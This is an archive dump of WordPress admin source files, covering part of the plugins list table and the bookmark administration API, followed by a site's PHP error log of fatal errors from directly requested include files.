			if ( in_array( $column_name, $hidden, true ) ) {
				$extra_classes = ' hidden';
			}

			switch ( $column_name ) {
				case 'cb':
					echo "<th scope='row' class='check-column'>$checkbox</th>";
					break;
				case 'name':
					echo "<td class='plugin-title column-primary'><strong>$plugin_name</strong>";
					echo $this->row_actions( $actions, true );
					echo '</td>';
					break;
				case 'description':
					$classes = 'column-description desc';

					echo "<td class='$classes{$extra_classes}'>
						<div class='plugin-description'>$description</div>
						<div class='$class second plugin-version-author-uri'>";

					$plugin_meta = array();
					if ( ! empty( $plugin_data['Version'] ) ) {
						/* translators: %s: Plugin version number. */
						$plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
					}
					if ( ! empty( $plugin_data['Author'] ) ) {
						$author = $plugin_data['Author'];
						if ( ! empty( $plugin_data['AuthorURI'] ) ) {
							$author = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
						}
						/* translators: %s: Plugin author name. */
						$plugin_meta[] = sprintf( __( 'By %s' ), $author );
					}

					// Details link using API info, if available.
					if ( isset( $plugin_data['slug'] ) && current_user_can( 'install_plugins' ) ) {
						$plugin_meta[] = sprintf(
							'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
							esc_url(
								network_admin_url(
									'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data['slug'] .
									'&TB_iframe=true&width=600&height=550'
								)
							),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( __( 'More information about %s' ), $plugin_name ) ),
							esc_attr( $plugin_name ),
							__( 'View details' )
						);
					} elseif ( ! empty( $plugin_data['PluginURI'] ) ) {
						/* translators: %s: Plugin name. */
						$aria_label = sprintf( __( 'Visit plugin site for %s' ), $plugin_name );

						$plugin_meta[] = sprintf(
							'<a href="%s" aria-label="%s">%s</a>',
							esc_url( $plugin_data['PluginURI'] ),
							esc_attr( $aria_label ),
							__( 'Visit plugin site' )
						);
					}

					/**
					 * Filters the array of row meta for each plugin in the Plugins list table.
					 *
					 * @since 2.8.0
					 *
					 * @param string[] $plugin_meta An array of the plugin's metadata, including
					 *                              the version, author, author URI, and plugin URI.
					 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array    $plugin_data {
					 *     An array of plugin data.
					 *
					 *     @type string   $id               Plugin ID, e.g. `w.org/plugins/[plugin-name]`.
					 *     @type string   $slug             Plugin slug.
					 *     @type string   $plugin           Plugin basename.
					 *     @type string   $new_version      New plugin version.
					 *     @type string   $url              Plugin URL.
					 *     @type string   $package          Plugin update package URL.
					 *     @type string[] $icons            An array of plugin icon URLs.
					 *     @type string[] $banners          An array of plugin banner URLs.
					 *     @type string[] $banners_rtl      An array of plugin RTL banner URLs.
					 *     @type string   $requires         The version of WordPress which the plugin requires.
					 *     @type string   $tested           The version of WordPress the plugin is tested against.
					 *     @type string   $requires_php     The version of PHP which the plugin requires.
					 *     @type string   $upgrade_notice   The upgrade notice for the new plugin version.
					 *     @type bool     $update-supported Whether the plugin supports updates.
					 *     @type string   $Name             The human-readable name of the plugin.
					 *     @type string   $PluginURI        Plugin URI.
					 *     @type string   $Version          Plugin version.
					 *     @type string   $Description      Plugin description.
					 *     @type string   $Author           Plugin author.
					 *     @type string   $AuthorURI        Plugin author URI.
					 *     @type string   $TextDomain       Plugin textdomain.
					 *     @type string   $DomainPath       Relative path to the plugin's .mo file(s).
					 *     @type bool     $Network          Whether the plugin can only be activated network-wide.
					 *     @type string   $RequiresWP       The version of WordPress which the plugin requires.
					 *     @type string   $RequiresPHP      The version of PHP which the plugin requires.
					 *     @type string   $UpdateURI        ID of the plugin for update purposes, should be a URI.
					 *     @type string   $Title            The human-readable title of the plugin.
					 *     @type string   $AuthorName       Plugin author's name.
					 *     @type bool     $update           Whether there's an available update. Default null.
					 * }
					 * @param string   $status      Status filter currently applied to the plugin list. Possible
					 *                              values are: 'all', 'active', 'inactive', 'recently_activated',
					 *                              'upgrade', 'mustuse', 'dropins', 'search', 'paused',
					 *                              'auto-update-enabled', 'auto-update-disabled'.
					 */
					$plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status );

					echo implode( ' | ', $plugin_meta );

					echo '</div>';

					if ( $paused ) {
						$notice_text = __( 'This plugin failed to load properly and is paused during recovery mode.' );

						printf( '<p><span class="dashicons dashicons-warning"></span> <strong>%s</strong></p>', $notice_text );

						$error = wp_get_plugin_error( $plugin_file );

						if ( false !== $error ) {
							printf( '<div class="error-display"><p>%s</p></div>', wp_get_extension_error_description( $error ) );
						}
					}

					echo '</td>';
					break;
				case 'auto-updates':
					if ( ! $this->show_autoupdates || in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
						break;
					}

					echo "<td class='column-auto-updates{$extra_classes}'>";

					$html = array();

					if ( isset( $plugin_data['auto-update-forced'] ) ) {
						if ( $plugin_data['auto-update-forced'] ) {
							// Forced on.
							$text = __( 'Auto-updates enabled' );
						} else {
							$text = __( 'Auto-updates disabled' );
						}
						$action     = 'unavailable';
						$time_class = ' hidden';
					} elseif ( empty( $plugin_data['update-supported'] ) ) {
						$text       = '';
						$action     = 'unavailable';
						$time_class = ' hidden';
					} elseif ( in_array( $plugin_file, $auto_updates, true ) ) {
						$text       = __( 'Disable auto-updates' );
						$action     = 'disable';
						$time_class = '';
					} else {
						$text       = __( 'Enable auto-updates' );
						$action     = 'enable';
						$time_class = ' hidden';
					}

					$query_args = array(
						'action'        => "{$action}-auto-update",
						'plugin'        => $plugin_file,
						'paged'         => $page,
						'plugin_status' => $status,
					);

					$url = add_query_arg( $query_args, 'plugins.php' );

					if ( 'unavailable' === $action ) {
						$html[] = '<span class="label">' . $text . '</span>';
					} else {
						$html[] = sprintf(
							'<a href="%s" class="toggle-auto-update aria-button-if-js" data-wp-action="%s">',
							wp_nonce_url( $url, 'updates' ),
							$action
						);

						$html[] = '<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span>';
						$html[] = '<span class="label">' . $text . '</span>';
						$html[] = '</a>';
					}

					if ( ! empty( $plugin_data['update'] ) ) {
						$html[] = sprintf(
							'<div class="auto-update-time%s">%s</div>',
							$time_class,
							wp_get_auto_update_message()
						);
					}

					$html = implode( '', $html );

					/**
					 * Filters the HTML of the auto-updates setting for each plugin in the Plugins list table.
					 *
					 * @since 5.5.0
					 *
					 * @param string $html        The HTML of the plugin's auto-update column content,
					 *                            including toggle auto-update action links and
					 *                            time to next update.
					 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
					 *                            and the {@see 'plugin_row_meta'} filter for the list
					 *                            of possible values.
					 */
					echo apply_filters( 'plugin_auto_update_setting_html', $html, $plugin_file, $plugin_data );

					wp_admin_notice(
						'',
						array(
							'type'               => 'error',
							'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
						)
					);

					echo '</td>';

					break;
				default:
					$classes = "$column_name column-$column_name $class";

					echo "<td class='$classes{$extra_classes}'>";

					/**
					 * Fires inside each custom column of the Plugins list table.
					 *
					 * @since 3.1.0
					 *
					 * @param string $column_name Name of the column.
					 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
					 *                            and the {@see 'plugin_row_meta'} filter for the list
					 *                            of possible values.
					 */
					do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data );

					echo '</td>';
			}
		}

		echo '</tr>';

		if ( ! $compatible_php || ! $compatible_wp ) {
			printf(
				'<tr class="plugin-update-tr"><td colspan="%s" class="plugin-update colspanchange">',
				esc_attr( $this->get_column_count() )
			);

			$incompatible_message = '';
			if ( ! $compatible_php && ! $compatible_wp ) {
				$incompatible_message .= __( 'This plugin does not work with your versions of WordPress and PHP.' );
				if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
					$incompatible_message .= sprintf(
						/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
						' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
						self_admin_url( 'update-core.php' ),
						esc_url( wp_get_update_php_url() )
					);
					$incompatible_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
				} elseif ( current_user_can( 'update_core' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				} elseif ( current_user_can( 'update_php' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					$incompatible_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
				}
			} elseif ( ! $compatible_wp ) {
				$incompatible_message .= __( 'This plugin does not work with your version of WordPress.' );
				if ( current_user_can( 'update_core' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				}
			} elseif ( ! $compatible_php ) {
				$incompatible_message .= __( 'This plugin does not work with your version of PHP.' );
				if ( current_user_can( 'update_php' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					$incompatible_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
				}
			}

			wp_admin_notice(
				$incompatible_message,
				array(
					'type'               => 'error',
					'additional_classes' => array( 'notice-alt', 'inline', 'update-message' ),
				)
			);

			echo '</td></tr>';
		}

		/**
		 * Fires after each row in the Plugins list table.
		 *
		 * @since 2.3.0
		 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled'
		 *              to possible values for `$status`.
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
		 *                            and the {@see 'plugin_row_meta'} filter for the list
		 *                            of possible values.
		 * @param string $status      Status filter currently applied to the plugin list.
		 *                            Possible values are: 'all', 'active', 'inactive',
		 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins',
		 *                            'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'.
		 */
		do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status );

		/**
		 * Fires after each specific row in the Plugins list table.
		 *
		 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
		 * to the plugin file, relative to the plugins directory.
		 *
		 * @since 2.7.0
		 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled'
		 *              to possible values for `$status`.
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
		 *                            and the {@see 'plugin_row_meta'} filter for the list
		 *                            of possible values.
		 * @param string $status      Status filter currently applied to the plugin list.
		 *                            Possible values are: 'all', 'active', 'inactive',
		 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins',
		 *                            'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'.
		 */
		do_action( "after_plugin_row_{$plugin_file}", $plugin_file, $plugin_data, $status );
	}

	/**
	 * Gets the name of the primary column for this specific list table.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name for the primary column, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
		return 'name';
	}
}
bookmark.php000064400000026537150275632050007104 0ustar00<?php
/**
 * WordPress Bookmark Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Adds a link using values provided in $_POST.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
 */
function add_link() {
	return edit_link();
}

/**
 * Updates or inserts a link using values provided in $_POST.
 *
 * @since 2.0.0
 *
 * @param int $link_id Optional. ID of the link to edit. Default 0.
 * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
 */
function edit_link( $link_id = 0 ) {
	if ( ! current_user_can( 'manage_links' ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to edit the links for this site.' ) . '</p>',
			403
		);
	}

	$_POST['link_url']   = esc_url( $_POST['link_url'] );
	$_POST['link_name']  = esc_html( $_POST['link_name'] );
	$_POST['link_image'] = esc_html( $_POST['link_image'] );
	$_POST['link_rss']   = esc_url( $_POST['link_rss'] );
	if ( ! isset( $_POST['link_visible'] ) || 'N' !== $_POST['link_visible'] ) {
		$_POST['link_visible'] = 'Y';
	}

	if ( ! empty( $link_id ) ) {
		$_POST['link_id'] = $link_id;
		return wp_update_link( $_POST );
	} else {
		return wp_insert_link( $_POST );
	}
}

/**
 * Retrieves the default link for editing.
 *
 * @since 2.0.0
 *
 * @return stdClass Default link object.
 */
function get_default_link_to_edit() {
	$link = new stdClass();
	if ( isset( $_GET['linkurl'] ) ) {
		$link->link_url = esc_url( wp_unslash( $_GET['linkurl'] ) );
	} else {
		$link->link_url = '';
	}

	if ( isset( $_GET['name'] ) ) {
		$link->link_name = esc_attr( wp_unslash( $_GET['name'] ) );
	} else {
		$link->link_name = '';
	}

	$link->link_visible = 'Y';

	return $link;
}

/**
 * Deletes a specified link from the database.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $link_id ID of the link to delete.
 * @return true Always true.
 */
function wp_delete_link( $link_id ) {
	global $wpdb;
	/**
	 * Fires before a link is deleted.
	 *
	 * @since 2.0.0
	 *
	 * @param int $link_id ID of the link to delete.
	 */
	do_action( 'delete_link', $link_id );

	wp_delete_object_term_relationships( $link_id, 'link_category' );

	$wpdb->delete( $wpdb->links, array( 'link_id' => $link_id ) );

	/**
	 * Fires after a link has been deleted.
	 *
	 * @since 2.2.0
	 *
	 * @param int $link_id ID of the deleted link.
	 */
	do_action( 'deleted_link', $link_id );

	clean_bookmark_cache( $link_id );

	return true;
}

/**
 * Retrieves the link category IDs associated with the link specified.
 *
 * @since 2.1.0
 *
 * @param int $link_id Link ID to look up.
 * @return int[] The IDs of the requested link's categories.
 */
function wp_get_link_cats( $link_id = 0 ) {
	$cats = wp_get_object_terms( $link_id, 'link_category', array( 'fields' => 'ids' ) );
	return array_unique( $cats );
}

/**
 * Retrieves link data based on its ID.
 *
 * @since 2.0.0
 *
 * @param int|stdClass $link Link ID or object to retrieve.
 * @return object Link object for editing.
 */
function get_link_to_edit( $link ) {
	return get_bookmark( $link, OBJECT, 'edit' );
}

/**
 * Inserts a link into the database, or updates an existing link.
 *
 * Runs all the necessary sanitizing, provides default values if arguments are missing,
 * and finally saves the link.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $linkdata {
 *     Elements that make up the link to insert.
 *
 *     @type int    $link_id          Optional. The ID of the existing link if updating.
 *     @type string $link_url         The URL the link points to.
 *     @type string $link_name        The title of the link.
 *     @type string $link_image       Optional. A URL of an image.
 *     @type string $link_target      Optional. The target element for the anchor tag.
 *     @type string $link_description Optional. A short description of the link.
 *     @type string $link_visible     Optional. 'Y' means visible, anything else means not.
 *     @type int    $link_owner       Optional. A user ID.
 *     @type int    $link_rating      Optional. A rating for the link.
 *     @type string $link_rel         Optional. A relationship of the link to you.
 *     @type string $link_notes       Optional. An extended description of or notes on the link.
 *     @type string $link_rss         Optional. A URL of an associated RSS feed.
 *     @type int    $link_category    Optional. The term ID of the link category.
 *                                    If empty, uses default link category.
 * }
 * @param bool  $wp_error Optional. Whether to return a WP_Error object on failure. Default false.
 * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
 */
function wp_insert_link( $linkdata, $wp_error = false ) {
	global $wpdb;

	$defaults = array(
		'link_id'     => 0,
		'link_name'   => '',
		'link_url'    => '',
		'link_rating' => 0,
	);

	$parsed_args = wp_parse_args( $linkdata, $defaults );
	$parsed_args = wp_unslash( sanitize_bookmark( $parsed_args, 'db' ) );

	$link_id   = $parsed_args['link_id'];
	$link_name = $parsed_args['link_name'];
	$link_url  = $parsed_args['link_url'];

	$update = false;
	if ( ! empty( $link_id ) ) {
		$update = true;
	}

	if ( '' === trim( $link_name ) ) {
		if ( '' !== trim( $link_url ) ) {
			$link_name = $link_url;
		} else {
			return 0;
		}
	}

	if ( '' === trim( $link_url ) ) {
		return 0;
	}

	$link_rating      = ( ! empty( $parsed_args['link_rating'] ) ) ? $parsed_args['link_rating'] : 0;
	$link_image       = ( ! empty( $parsed_args['link_image'] ) ) ? $parsed_args['link_image'] : '';
	$link_target      = ( ! empty( $parsed_args['link_target'] ) ) ? $parsed_args['link_target'] : '';
	$link_visible     = ( ! empty( $parsed_args['link_visible'] ) ) ? $parsed_args['link_visible'] : 'Y';
	$link_owner       = ( ! empty( $parsed_args['link_owner'] ) ) ? $parsed_args['link_owner'] : get_current_user_id();
	$link_notes       = ( ! empty( $parsed_args['link_notes'] ) ) ? $parsed_args['link_notes'] : '';
	$link_description = ( ! empty( $parsed_args['link_description'] ) ) ? $parsed_args['link_description'] : '';
	$link_rss         = ( ! empty( $parsed_args['link_rss'] ) ) ? $parsed_args['link_rss'] : '';
	$link_rel         = ( ! empty( $parsed_args['link_rel'] ) ) ? $parsed_args['link_rel'] : '';
	$link_category    = ( ! empty( $parsed_args['link_category'] ) ) ? $parsed_args['link_category'] : array();

	// Make sure we set a valid category.
	if ( ! is_array( $link_category ) || 0 === count( $link_category ) ) {
		$link_category = array( get_option( 'default_link_category' ) );
	}

	if ( $update ) {
		if ( false === $wpdb->update( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ), compact( 'link_id' ) ) ) {
			if ( $wp_error ) {
				return new WP_Error( 'db_update_error', __( 'Could not update link in the database.' ), $wpdb->last_error );
			} else {
				return 0;
			}
		}
	} else {
		if ( false === $wpdb->insert( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ) ) ) {
			if ( $wp_error ) {
				return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database.' ), $wpdb->last_error );
			} else {
				return 0;
			}
		}
		$link_id = (int) $wpdb->insert_id;
	}

	wp_set_link_cats( $link_id, $link_category );

	if ( $update ) {
		/**
		 * Fires after a link was updated in the database.
		 *
		 * @since 2.0.0
		 *
		 * @param int $link_id ID of the link that was updated.
		 */
		do_action( 'edit_link', $link_id );
	} else {
		/**
		 * Fires after a link was added to the database.
		 *
		 * @since 2.0.0
		 *
		 * @param int $link_id ID of the link that was added.
		 */
		do_action( 'add_link', $link_id );
	}
	clean_bookmark_cache( $link_id );

	return $link_id;
}

/**
 * Updates link with the specified link categories.
 *
 * @since 2.1.0
 *
 * @param int   $link_id         ID of the link to update.
 * @param int[] $link_categories Array of link category IDs to add the link to.
 */
function wp_set_link_cats( $link_id = 0, $link_categories = array() ) {
	// If $link_categories isn't already an array, make it one:
	if ( ! is_array( $link_categories ) || 0 === count( $link_categories ) ) {
		$link_categories = array( get_option( 'default_link_category' ) );
	}

	$link_categories = array_map( 'intval', $link_categories );
	$link_categories = array_unique( $link_categories );

	wp_set_object_terms( $link_id, $link_categories, 'link_category' );

	clean_bookmark_cache( $link_id );
}

/**
 * Updates a link in the database.
 *
 * @since 2.0.0
 *
 * @param array $linkdata Link data to update. See wp_insert_link() for accepted arguments.
 * @return int|WP_Error Value 0 or WP_Error on failure. The updated link ID on success.
 */
function wp_update_link( $linkdata ) {
	$link_id = (int) $linkdata['link_id'];

	$link = get_bookmark( $link_id, ARRAY_A );

	// Escape data pulled from DB.
	$link = wp_slash( $link );

	// Passed link category list overwrites existing category list if not empty.
	if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] )
		&& count( $linkdata['link_category'] ) > 0
	) {
		$link_cats = $linkdata['link_category'];
	} else {
		$link_cats = $link['link_category'];
	}

	// Merge old and new fields with new fields overwriting old ones.
	$linkdata                  = array_merge( $link, $linkdata );
	$linkdata['link_category'] = $link_cats;

	return wp_insert_link( $linkdata );
}

/**
 * Outputs the 'disabled' message for the WordPress Link Manager.
 *
 * @since 3.5.0
 * @access private
 *
 * @global string $pagenow The filename of the current screen.
 */
function wp_link_manager_disabled_message() {
	global $pagenow;

	if ( ! in_array( $pagenow, array( 'link-manager.php', 'link-add.php', 'link.php' ), true ) ) {
		return;
	}

	add_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );
	$really_can_manage_links = current_user_can( 'manage_links' );
	remove_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );

	if ( $really_can_manage_links ) {
		$plugins = get_plugins();

		if ( empty( $plugins['link-manager/link-manager.php'] ) ) {
			if ( current_user_can( 'install_plugins' ) ) {
				$install_url = wp_nonce_url(
					self_admin_url( 'update.php?action=install-plugin&plugin=link-manager' ),
					'install-plugin_link-manager'
				);

				wp_die(
					sprintf(
						/* translators: %s: A link to install the Link Manager plugin. */
						__( 'If you are looking to use the link manager, please install the <a href="%s">Link Manager plugin</a>.' ),
						esc_url( $install_url )
					)
				);
			}
		} elseif ( is_plugin_inactive( 'link-manager/link-manager.php' ) ) {
			if ( current_user_can( 'activate_plugins' ) ) {
				$activate_url = wp_nonce_url(
					self_admin_url( 'plugins.php?action=activate&plugin=link-manager/link-manager.php' ),
					'activate-plugin_link-manager/link-manager.php'
				);

				wp_die(
					sprintf(
						/* translators: %s: A link to activate the Link Manager plugin. */
						__( 'Please activate the <a href="%s">Link Manager plugin</a> to use the link manager.' ),
						esc_url( $activate_url )
					)
				);
			}
		}
	}

	wp_die( __( 'Sorry, you are not allowed to edit the links for this site.' ) );
}
error_log000064400000063602150275632050006475 0ustar00[08-Jul-2023 14:17:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function load_textdomain() in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php on line 16
[08-Jul-2023 14:17:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function load_textdomain() in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php on line 16
[25-Jul-2023 17:11:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function load_textdomain() in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php on line 16
[03-Sep-2023 10:31:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function load_textdomain() in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php on line 16
[03-Sep-2023 15:06:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function load_textdomain() in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php on line 16
[23-Dec-2023 18:19:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function __() in /home/natiycxt/crestassured.com/wp-admin/includes/file.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/file.php on line 16
[24-Mar-2024 01:57:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function __() in /home/natiycxt/crestassured.com/wp-admin/includes/file.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/file.php on line 16
[16-Aug-2024 12:30:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /home/natiycxt/crestassured.com/wp-admin/includes/admin-filters.php:11
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin-filters.php on line 11
[16-Aug-2024 12:30:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/admin.php on line 16
[16-Aug-2024 12:30:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-automatic-upgrader-skin.php:21
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-automatic-upgrader-skin.php on line 21
[16-Aug-2024 12:30:46 UTC] PHP Fatal error:  Uncaught Error: Class "Bulk_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-bulk-plugin-upgrader-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-bulk-plugin-upgrader-skin.php on line 18
[16-Aug-2024 12:30:51 UTC] PHP Fatal error:  Uncaught Error: Class "Bulk_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-bulk-theme-upgrader-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-bulk-theme-upgrader-skin.php on line 18
[16-Aug-2024 12:30:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-bulk-upgrader-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-bulk-upgrader-skin.php on line 18
[16-Aug-2024 12:31:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-core-upgrader.php:21
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-core-upgrader.php on line 21
[16-Aug-2024 12:31:48 UTC] PHP Fatal error:  Uncaught Error: Class "ftp_base" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-ftp-pure.php:28
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-ftp-pure.php on line 28
[16-Aug-2024 12:32:00 UTC] PHP Fatal error:  Uncaught Error: Class "ftp_base" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-ftp-sockets.php:28
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-ftp-sockets.php on line 28
[16-Aug-2024 12:32:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-language-pack-upgrader-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-language-pack-upgrader-skin.php on line 18
[16-Aug-2024 12:32:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-language-pack-upgrader.php:19
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-language-pack-upgrader.php on line 19
[16-Aug-2024 12:32:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-plugin-installer-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-plugin-installer-skin.php on line 18
[16-Aug-2024 12:33:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-plugin-upgrader-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-plugin-upgrader-skin.php on line 18
[16-Aug-2024 12:33:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-plugin-upgrader.php:21
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-plugin-upgrader.php on line 21
[16-Aug-2024 12:33:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-theme-installer-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-theme-installer-skin.php on line 18
[16-Aug-2024 12:33:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-theme-upgrader-skin.php:18
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-theme-upgrader-skin.php on line 18
[16-Aug-2024 12:33:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Upgrader" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-theme-upgrader.php:21
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-theme-upgrader.php on line 21
[16-Aug-2024 12:34:02 UTC] PHP Fatal error:  Uncaught Error: Class "Walker" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-walker-category-checklist.php:19
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-walker-category-checklist.php on line 19
[16-Aug-2024 12:34:09 UTC] PHP Fatal error:  Uncaught Error: Class "Walker_Nav_Menu" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-walker-nav-menu-checklist.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-walker-nav-menu-checklist.php on line 16
